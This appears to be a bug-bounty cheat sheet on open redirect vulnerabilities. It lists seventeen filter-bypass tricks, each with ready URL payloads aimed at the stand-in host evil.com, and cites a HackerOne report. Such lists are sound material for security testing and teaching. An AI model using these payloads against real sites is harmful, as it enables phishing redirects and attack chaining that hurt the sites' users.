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98 lines
2.1 KiB
Markdown
98 lines
2.1 KiB
Markdown
## Open Redirect
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## Introduction
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Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain
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## How to Find
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1. Try change the domain
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```
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/?redir=evil.com
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```
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2. Using a whitelisted domain or keyword
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```
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/?redir=target.com.evil.com
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```
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3. Using `//` to bypass `http` blacklisted keyword
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```
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/?redir=//evil.com
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```
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4. Using `https:` to bypass `//` blacklisted keyword
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```
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/?redir=https:evil.com
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```
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5. Using `\\` to bypass `//` blacklisted keyword
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```
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/?redir=\\evil.com
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```
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6. Using `\/\/` to bypass `//` blacklisted keyword
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```
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/?redir=\/\/evil.com/
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/?redir=/\/evil.com/
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```
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7. Using `%E3%80%82` to bypass `.` blacklisted character
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```
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/?redir=evil。com
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/?redir=evil%E3%80%82com
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```
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8. Using null byte `%00` to bypass blacklist filter
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```
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/?redir=//evil%00.com
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```
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9. Using parameter pollution
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```
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/?next=target.com&next=evil.com
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```
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10. Using `@` or `%40` character, browser will redirect to anything after the `@`
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```
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/?redir=target.com@evil.com
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/?redir=target.com%40evil.com
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```
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11. Creating folder as their domain
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```
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http://www.yoursite.com/http://www.theirsite.com/
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http://www.yoursite.com/folder/www.folder.com
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```
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12. Using `?` characted, browser will translate it to `/?`
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```
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/?redir=target.com?evil.com
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```
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13. Bypass the filter if it only checks for domain name using `%23`
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```
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/?redir=target.com%23evil.com
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```
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14. Host/Split Unicode Normalization
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```
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https://evil.c℀.example.com
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```
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15. Using parsing
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```
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http://ⓔⓥⓘⓛ.ⓒⓞⓜ
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```
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16. Using `°` symbol to bypass
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```
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/?redir=target.com/°evil.com
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```
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17. Bypass the filter if it only allows yoou to control the path using a nullbyte `%0d` or `%0a`
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```
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/?redir=/%0d/evil.com
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```
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## References
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* [Hackerone #1250758](https://hackerone.com/reports/1250758)
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* [@ahmadbrainworks](https://medium.com/@ahmadbrainworks/bug-bounty-how-i-earned-550-in-less-than-5-minutes-open-redirect-chained-with-rxss-8957979070e5) |